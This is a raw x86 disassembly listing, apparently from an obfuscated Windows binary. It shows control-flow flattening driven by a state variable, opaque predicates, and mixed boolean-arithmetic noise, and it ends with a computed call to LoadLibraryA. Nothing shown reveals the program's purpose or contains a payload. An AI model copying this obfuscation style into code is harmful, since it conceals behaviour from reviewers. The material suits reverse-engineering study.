xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov dh, ch
xor dh, 0xff
mov al, ah
xor al, dh
and al, ah
mov ah, dl
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
mov dh, dl
and dh, bh
or ah, dh
xor ah, 0xff
mov bh, 1
xor bh, 1
mov dh, 1
xor dh, 1
or ah, bh
or dh, 1
xor ah, 0xff
and ah, dh
mov byte [ebp - 0x5c3], ah
xor ch, 0xff
mov ah, dl
xor ah, ch
and ah, dl
mov dl, cl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov bh, dl
and bh, 0
mov byte [ebp - 0x5c4], bh
and cl, ch
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0x5c2], al
mov al, byte [ebp - 0x5c4]
or al, cl
mov cl, byte [ebp - 0x5c3]
mov byte [ebp - 0x5c1], al
mov al, byte [ebp - 0x5c2]
or bh, al
mov al, byte [ebp - 0x5c1]
xor al, bh
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or al, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov ah, al
xor ah, 0xff
mov cl, dl
and cl, ah
xor dl, 0xff
and al, dl
or cl, al
mov dh, bl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or dh, al
mov byte [ebp - 0x5be], dh
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ch, al
mov dl, 1
xor dl, 0
and dl, 0
mov ah, 1
xor ah, 0
mov bh, ah
and bh, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, bh
or al, ah
xor dl, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov al, 1
xor al, 1
or dh, ah
or al, 1
xor dh, 0xff
and dh, al
xor bl, 0xff
mov ah, dl
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov ah, 1
xor ah, 0
mov al, ch
xor al, ah
and al, ch
xor cl, 0xff
mov bh, dl
xor bh, 0xff
mov ah, 1
xor ah, 1
or cl, bh
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, dh
and ah, bl
xor dh, bl
or ah, dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x5bd], dh
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and dh, 0xff
and al, bl
mov byte [ebp - 0x5c0], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x5bf], al
mov al, byte [ebp - 0x5c0]
and cl, bl
or dh, al
mov al, byte [ebp - 0x5bf]
or al, cl
mov cl, byte [ebp - 0x5be]
xor dh, al
mov al, byte [ebp - 0x5bd]
or al, bh
xor al, 0xff
or bl, 1
and al, bl
or dh, al
mov bl, ah
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ah, dh
or al, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x877a3996
mov ecx, 0x74af63df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov ecx, dword [0x6355c4]
mov eax, dword [0x6355c0]
xor edx, edx
sub edx, 0x98101a17
add edx, 0x85d066a8
add edx, 0x98101a17
add edx, 0x4beaea80
sub edx, 1
sub edx, 0x4beaea80
add edx, 0x775afcd0
sub edx, 0x85d066a8
sub edx, 0x775afcd0
mov esi, 0x9a6d1992
add esi, 0
sub esi, edx
sub esi, 0x9a6d1992
mov edx, ecx
add edx, 0xd7f7188d
sub edx, esi
sub edx, 0xd7f7188d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl al
mov byte [ebp - 0x660], al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or cl, al
mov bh, 1
xor bh, 0
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov ah, 1
xor ah, 0
and ah, 0
mov cl, 1
xor cl, 0
mov dl, cl
and dl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, dl
or al, cl
xor ah, al
mov cl, ah
xor cl, 0xff
mov al, dh
xor al, cl
and al, dh
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
xor cl, 0xff
mov ch, 1
xor ch, 0
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov byte [ebp - 0x661], cl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov cl, dl
and cl, 0xff
and bh, ch
mov byte [ebp - 0x663], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x662], al
mov al, byte [ebp - 0x663]
or cl, al
mov al, byte [ebp - 0x662]
or bh, al
mov al, byte [ebp - 0x661]
xor cl, bh
mov bh, byte [ebp - 0x660]
or dl, bl
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x653], al
mov cl, bh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, bh
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
xor bh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov dl, cl
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
and cl, ah
mov bl, ch
and bl, 0
and bh, ah
or al, cl
mov cl, byte [ebp - 0x660]
or bl, bh
xor al, bl
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov byte [ebp - 0x657], al
mov bh, 1
xor bh, 1
and bh, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, ah
or al, dl
xor bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
and bh, ch
mov byte [ebp - 0x65f], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x65e], al
mov al, byte [ebp - 0x65f]
or dl, al
mov al, byte [ebp - 0x65e]
or bh, al
mov al, byte [ebp - 0x653]
xor dl, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
mov byte [ebp - 0x650], dl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and al, dl
or ch, al
mov bl, 1
xor bl, 1
and bl, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, ah
or al, dl
xor bl, al
mov dl, 1
xor dl, 1
and dl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or dl, al
mov al, byte [ebp - 0x650]
or ah, bh
xor dl, ah
mov ah, ch
and ah, bl
xor ch, bl
or ah, ch
mov ch, dl
and ch, 1
xor dl, 1
or ch, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and ah, bl
or dl, ah
xor ch, 0xff
mov ah, dl
xor ah, ch
and ah, dl
mov bl, al
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and al, dl
or bl, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
mov bh, dh
and bh, al
mov ch, bl
xor ch, 0xff
and ch, 0
and bl, al
mov al, byte [ebp - 0x657]
or dl, bh
or ch, bl
xor dl, ch
xor dl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
mov dh, al
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and al, ch
or dh, al
mov bl, 1
xor bl, 1
and bl, 1
mov ch, 1
xor ch, 1
mov bh, ch
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or bl, bh
or al, ch
xor bl, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov al, dh
and al, bl
xor dh, bl
or al, dh
mov bl, ch
and bl, 0
xor ch, 0
or bl, ch
mov ch, al
xor ch, 0xff
and ch, 0
mov bh, 1
xor bh, 0
and al, bh
mov dh, 1
xor dh, 1
and dh, 0
and bh, 1
or ch, al
mov al, byte [ebp - 0x650]
or dh, bh
xor ch, dh
xor ch, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x65d], ch
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and al, dh
or ch, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
mov dh, cl
and dh, bh
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bh
or bl, dh
or al, ch
xor bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov cl, dl
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov bh, ah
xor bh, 0xff
and bh, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bh, ah
or cl, dl
xor bh, cl
mov cl, al
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov ch, cl
and ch, 0
and al, dl
mov dh, ah
and dh, 0
and bh, dl
or ch, al
mov al, byte [ebp - 0x65d]
or dh, bh
xor ch, dh
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or cl, dl
mov byte [ebp - 0x65b], cl
mov bh, bl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov ah, bl
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dh, 1
xor dh, 1
mov ah, dh
and ah, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or cl, ah
mov ah, byte [ebp - 0x65b]
or dl, dh
xor cl, dl
xor ah, 0xff
mov dh, 1
xor dh, 0
mov dl, 1
xor dl, 1
or ah, dh
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, cl
xor dl, 0xff
mov dh, al
xor dh, dl
and dh, al
mov dl, 1
xor dl, 0
mov al, bh
xor al, dl
and al, bh
mov byte [ebp - 0x65c], al
mov al, cl
xor al, 0xff
mov dl, bl
xor dl, al
mov al, byte [ebp - 0x65c]
and dl, bl
mov bl, ah
and bl, dh
xor ah, dh
or bl, ah
mov dh, al
and dh, dl
xor al, dl
or dh, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and bl, al
mov ah, dh
xor ah, 0xff
and ah, 0xff
and dh, al
mov al, byte [ebp - 0x65b]
or dl, bl
or ah, dh
xor dl, ah
mov byte [ebp - 0x656], dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x65a], dh
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and dh, 0xff
and al, dl
mov bl, ah
and bl, 0xff
and bh, dl
or dh, al
mov al, byte [ebp - 0x65a]
or bl, bh
xor dh, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, dh
or al, dl
xor ah, al
mov dl, 1
xor dl, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, dl
and dh, 0xff
mov al, bl
and al, 0
mov byte [ebp - 0x659], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x658], al
mov al, byte [ebp - 0x659]
and cl, bl
or dh, al
mov al, byte [ebp - 0x658]
or al, cl
mov cl, byte [ebp - 0x657]
xor dh, al
mov al, byte [ebp - 0x656]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or dh, dl
xor ah, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 1
or ah, dh
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov bl, ch
and bl, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dh, bl
or al, ah
xor dh, al
mov ah, 1
xor ah, 1
xor dh, 0xff
mov al, 1
xor al, 0
or ah, dh
or al, 0
xor ah, 0xff
and ah, al
mov dh, 1
xor dh, 1
and dh, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
xor ch, 0xff
mov bl, dh
xor bl, 0xff
mov al, 1
xor al, 1
or ch, bl
or al, 1
xor ch, 0xff
and ch, al
mov bh, dl
xor bh, 0xff
and bh, 1
mov bl, 1
xor bl, 1
mov al, dl
and al, bl
or bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, 1
xor al, 0
or bh, bl
or al, 0
xor bh, 0xff
and bh, al
xor dh, 0xff
mov al, dl
xor al, dh
and al, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
and bh, dh
mov byte [ebp - 0x655], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x654], al
mov al, byte [ebp - 0x655]
or ah, al
mov al, byte [ebp - 0x654]
or bh, al
mov al, byte [ebp - 0x653]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov ch, dl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and dl, ah
or bl, dl
mov dl, cl
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bh
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ah, al
and ah, 0xff
and bh, cl
mov ch, dl
and ch, 0xff
and dh, cl
or ah, bh
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov ch, ah
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
xor ah, 0xff
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 0
or ah, ch
or dl, 0
xor ah, 0xff
and ah, dl
mov bh, 1
xor bh, 1
and bh, 1
mov dl, 1
xor dl, 1
and dl, 1
or bh, dl
xor bh, 0xff
mov ch, 1
xor ch, 1
mov dl, 1
xor dl, 0
or bh, ch
or dl, 0
xor bh, 0xff
and bh, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, bh
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and bh, ch
mov byte [ebp - 0x652], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0x651], al
mov al, byte [ebp - 0x652]
or ah, al
mov al, byte [ebp - 0x651]
or bh, al
mov al, byte [ebp - 0x650]
xor ah, bh
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov byte [ebp - 0x642], cl
mov bh, 1
xor bh, 1
and bh, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov byte [ebp - 0x646], dh
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov al, bh
xor al, 0xff
mov dl, 1
xor dl, 0
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 0
mov dl, dh
xor dl, ch
mov ch, byte [ebp - 0x650]
and dl, dh
mov byte [ebp - 0x64b], dl
mov dh, ah
xor dh, 0xff
mov dl, ch
xor dl, dh
and dl, ch
mov byte [ebp - 0x64d], dl
mov ch, al
xor ch, 0xff
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x64c], dl
mov dh, 1
xor dh, 1
mov dl, ch
and dl, 0xff
and al, dh
mov byte [ebp - 0x64f], al
mov al, byte [ebp - 0x64c]
and al, 0xff
mov byte [ebp - 0x64e], al
mov al, byte [ebp - 0x64f]
and cl, dh
or dl, al
mov al, byte [ebp - 0x64e]
or al, cl
mov cl, byte [ebp - 0x64d]
xor dl, al
mov al, byte [ebp - 0x64c]
or ch, al
mov al, byte [ebp - 0x64b]
xor ch, 0xff
or dh, 1
and ch, dh
or dl, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x648], ch
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x647], dh
mov dh, 1
xor dh, 0
and ch, 0
and al, dh
mov byte [ebp - 0x64a], al
mov al, byte [ebp - 0x647]
and al, 0
mov byte [ebp - 0x649], al
mov al, byte [ebp - 0x64a]
and cl, dh
or ch, al
mov al, byte [ebp - 0x649]
or al, cl
mov cl, byte [ebp - 0x648]
xor ch, al
mov al, byte [ebp - 0x647]
or cl, al
mov al, byte [ebp - 0x646]
xor cl, 0xff
or dh, 0
and cl, dh
or ch, cl
mov dh, dl
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and dl, ch
or cl, dl
mov dh, bh
xor dh, 0xff
mov byte [ebp - 0x643], dh
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 0
and dh, 0
and bh, dl
mov byte [ebp - 0x645], bh
mov bh, ch
and bh, 0
and al, dl
mov byte [ebp - 0x644], al
mov al, byte [ebp - 0x645]
or dh, al
mov al, byte [ebp - 0x644]
or bh, al
mov al, byte [ebp - 0x643]
xor dh, bh
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or dh, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, dh
or dl, ch
xor al, dl
mov dl, ah
and dl, 0
xor ah, 0
or dl, ah
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov dl, cl
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
and cl, ah
mov dh, ch
and dh, 0
and bh, ah
or al, cl
mov cl, byte [ebp - 0x642]
or dh, bh
xor al, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and al, dl
or ah, al
mov dl, cl
xor dl, 0xff
mov al, ah
and al, dl
xor ah, 0xff
mov dl, cl
and dl, ah
or al, dl
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov ch, bl
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov dl, bl
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dl
or al, cl
xor ch, al
mov byte [ebp - 0x641], ch
mov cl, ah
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, dh
or al, dl
xor cl, al
mov bh, 1
xor bh, 0
and bh, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, dh
or al, dl
xor bh, al
xor ch, 0xff
mov dl, 1
xor dl, 0
mov al, 1
xor al, 0
or ch, dl
or al, 0
xor ch, 0xff
and ch, al
xor bl, 0xff
mov dl, bh
xor dl, 0xff
mov al, 1
xor al, 0
or bl, dl
or al, 0
xor bl, 0xff
and bl, al
mov dl, cl
xor dl, 0xff
mov dh, 1
xor dh, 0
mov al, 1
xor al, 0
or dl, dh
or al, 0
xor dl, 0xff
and dl, al
xor ah, 0xff
mov al, bh
xor al, 0xff
mov dh, 1
xor dh, 1
or ah, al
mov al, byte [ebp - 0x641]
or dh, 1
xor ah, 0xff
and ah, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, dl
and ch, ah
xor dl, ah
or ch, dl
mov dl, dh
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or dl, dh
or ah, ch
xor dl, ah
mov byte [ebp - 0x640], dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x640]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3c70ac66
mov ecx, 0x6ffcfcb5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
mov esi, 0xb41de5aa
add esi, 0
sub esi, 0x5ab19ba4
sub esi, 0xb41de5aa
add esi, 0xb9e0e0de
sub esi, 1
sub esi, 0xb9e0e0de
xor edx, edx
sub edx, 0x5ab19ba4
sub esi, edx
mov edx, eax
add edx, 0x44922b09
add edx, 0x16e0a373
sub edx, 0x44922b09
sub edx, 0x417e0603
add edx, esi
add edx, 0x417e0603
xor esi, esi
sub esi, 0x16e0a373
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl bl
mov dl, bl
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ch, bl
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov al, ah
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
mov ch, ah
and ch, dh
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, dh
or al, ch
or cl, dl
xor al, cl
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov cl, bl
xor cl, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or cl, ch
or dl, 1
xor cl, 0xff
and cl, dl
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or ch, bl
or dl, dh
xor ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov ch, al
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
mov byte [ebp - 0x66c], cl
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov bl, dh
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, bl
or ah, ch
xor dl, ah
mov bh, 1
xor bh, 0
and bh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 0
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or bh, bl
or ah, ch
xor bh, ah
mov ch, 1
xor ch, 0
mov ah, cl
xor ah, ch
and ah, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov ch, dl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
xor dh, 0xff
mov al, bh
xor al, 0xff
mov cl, 1
xor cl, 1
or dh, al
mov al, byte [ebp - 0x66c]
or cl, 1
xor dh, 0xff
and dh, cl
mov cl, ah
and cl, bl
xor ah, bl
or cl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and cl, ah
or bl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x66b], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 0
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x66b]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x64d0c7c
mov ecx, 0xe155f481
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x1b4], 0xdff9e94b
jmp 0x4c0c7f
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x1b4], 0x9527fd9a
jmp 0x4c0c7f
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x98]
mov eax, 0xf1f0ddbf
add eax, 0
add eax, 0x887753bc
sub eax, 0xf1f0ddbf
sub eax, 0x24d83212
sub eax, edx
add eax, 0x24d83212
sub eax, 0x41d909b5
sub eax, 0x887753bc
add eax, 0x41d909b5
xor edx, edx
sub edx, 0x533d057f
sub edx, 0xd6febbc4
add edx, 0x533d057f
sub edx, 0x45904db0
sub edx, ecx
add edx, 0x45904db0
xor ecx, ecx
sub ecx, 0xd6febbc4
sub edx, ecx
xor ecx, ecx
sub ecx, 0xf849cf03
sub ecx, eax
add ecx, 0xf849cf03
xor eax, eax
sub eax, 0xeeee18d6
sub eax, edx
add eax, 0xeeee18d6
sub ecx, 0xb1a31b17
add ecx, eax
add ecx, 0xb1a31b17
mov eax, 0x320320c0
add eax, 0
sub eax, ecx
sub eax, 0x320320c0
mov ecx, 0x60fa8a81
add ecx, 0
add ecx, 0x3b3838ac
sub ecx, 0x60fa8a81
sub ecx, 0xa924fe56
sub ecx, eax
add ecx, 0xa924fe56
xor eax, eax
sub eax, 0x3b3838ac
add ecx, eax
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
